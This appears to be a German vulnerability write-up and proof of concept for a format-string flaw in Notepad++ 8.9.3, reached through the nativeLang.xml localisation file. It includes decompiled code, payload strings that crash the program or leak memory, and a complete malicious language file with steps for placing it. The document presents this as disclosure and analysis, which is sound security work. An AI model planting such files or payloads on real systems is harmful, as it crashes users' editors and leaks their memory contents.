
Technische Analyse und Proof-of-Concept für CVE-2026-3008, eine Format-String-Injection in Notepad++ 8.9.3 über nativeLang.xml, die Denial-of-Service und Informationsoffenlegung ermöglicht.
Wenn eine Suchoperation Ergebnisse liefert, formatiert sub_1400916C0 ein Trefferanzahl-Label, indem eine lokalisierte Zeichenkette aus nativeLang.xml abgerufen und direkt als Formatzeichenkette an wsprintfW übergeben wird:
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 is the format string
Die Zeichenkette stammt aus dem Attribut <find-result-hits> in nativeLang.xml ohne jegliche Validierung an irgendeinem Punkt im Datenfluss:
nativeLang.xml
→ TinyXML-Parser (liest XML-Attribut, keine Inhaltsvalidierung)
→ NativeLangSpeaker (UTF-8 → UTF-16-Konvertierung, keine Validierung)
→ sub_140099E60 ($INT_REPLACE$-Substitution — Formatspezifizierer überleben)
→ wsprintfW(buf, v38) (v38 wird als Formatzeichenkette verwendet, nicht als Daten)
wsprintfW wird mit nur zwei Argumenten aufgerufen — keine variadischen Datenargumente. Jegliche Formatspezifizierer in v38 lesen Werte aus den Argument-Slots der x64-Aufrufkonvention (R8, R9, Stack), die übrig gebliebenes Register-Garbage enthalten.
| Feld | Wert |
|---|---|
| Funktion | sub_1400916C0 (Find-Results-Panel-Initialisierer) |
| Sink-Adresse | 0x140091E6D |
| Auslöser | Jede Suche, die Ergebnisse liefert (Alle suchen, In Dateien suchen, Alle markieren, Alle ersetzen) |
sub_1400916C0 wird von vier Stellen im FindResults-WndProc (sub_140089BF0) aufgerufen:
| Adresse | Auslöser |
|---|---|
0x14008B63B | In Dateien suchen |
0x14008B72D | Alle im aktuellen / allen Dokumenten suchen |
0x14008B97E | Alle ersetzen |
0x14008B9FE | Alle markieren |
%s (DoS)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
Jedes %s interpretiert einen Junk-Register- oder Stack-Wert als WCHAR*-Zeiger. Die erste ungültige Adresse löst sofort eine Zugriffsverletzung aus (STATUS_ACCESS_VIOLATION, 0xC0000005). Notepad++ stürzt bei jeder weiteren Suche ab, bis die schädliche Datei entfernt wird — zuverlässiger, einmaliger DoS.
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
Stack- und Registerinhalte werden als DWORD-Werte gelesen und als Hex formatiert, sichtbar im Find-Results-Panel-Tab. Beobachtete Ausgabe aus einem Live-Test:
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
Werte wie 5852bb18 und 7b1052e0 sind abgeschnittene 64-Bit-Zeigerfragmente.
wsprintfW (user32.dll) unterstützt kein %n — es gibt keine Write-what-where-Primitive. Sein fest verdrahtetes 1024-Zeichen-Ausgabelimit entspricht exakt der Zielpuffergröße, was einen Heap-Pufferüberlauf ausschließt. Die Schwachstelle ist bestätigt als DoS + Informationsoffenlegung. Codeausführung ist allein über diese Formatzeichenkette nicht erreichbar.
nativeLang.xml existiert standardmäßig nicht — englischsprachige Installationen sind nicht betroffen. Wenn ein Benutzer über Einstellungen → Voreinstellungen → Allgemein → Lokalisierung eine nicht-englische Sprache auswählt, schreibt Notepad++ die entsprechende Datei nach:
| Edition | Pfad |
|---|---|
| Installer | %APPDATA%\Notepad++\nativeLang.xml |
| Portable | <npp_directory>\nativeLang.xml |
Von den 94 mitgelieferten Lokalisierungsdateien enthalten 43 das Element <find-result-hits>. Benutzer dieser Sprachen sind verwundbar, wenn ihre nativeLang.xml manipuliert wird — beispielsweise über ein bösartiges Community-Sprachpaket, das über Foren oder Download-Seiten verbreitet wird. Der Angreifer kann legitime Übersetzungen für alle anderen Zeichenketten einfügen, sodass die Datei normal erscheint.
Platzieren Sie die folgende Datei unter <npp_directory>\nativeLang.xml (portabel) oder %APPDATA%\Notepad++\nativeLang.xml (Installer), öffnen Sie dann Notepad++ und führen Sie eine Suche aus, die Ergebnisse liefert (Strg+F → Alle im aktuellen Dokument suchen).
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
Ergebnis: Notepad++ stürzt sofort mit einer Zugriffsverletzung in wsprintfW ab.
Weitere Payload-Varianten befinden sich im Verzeichnis payloads/.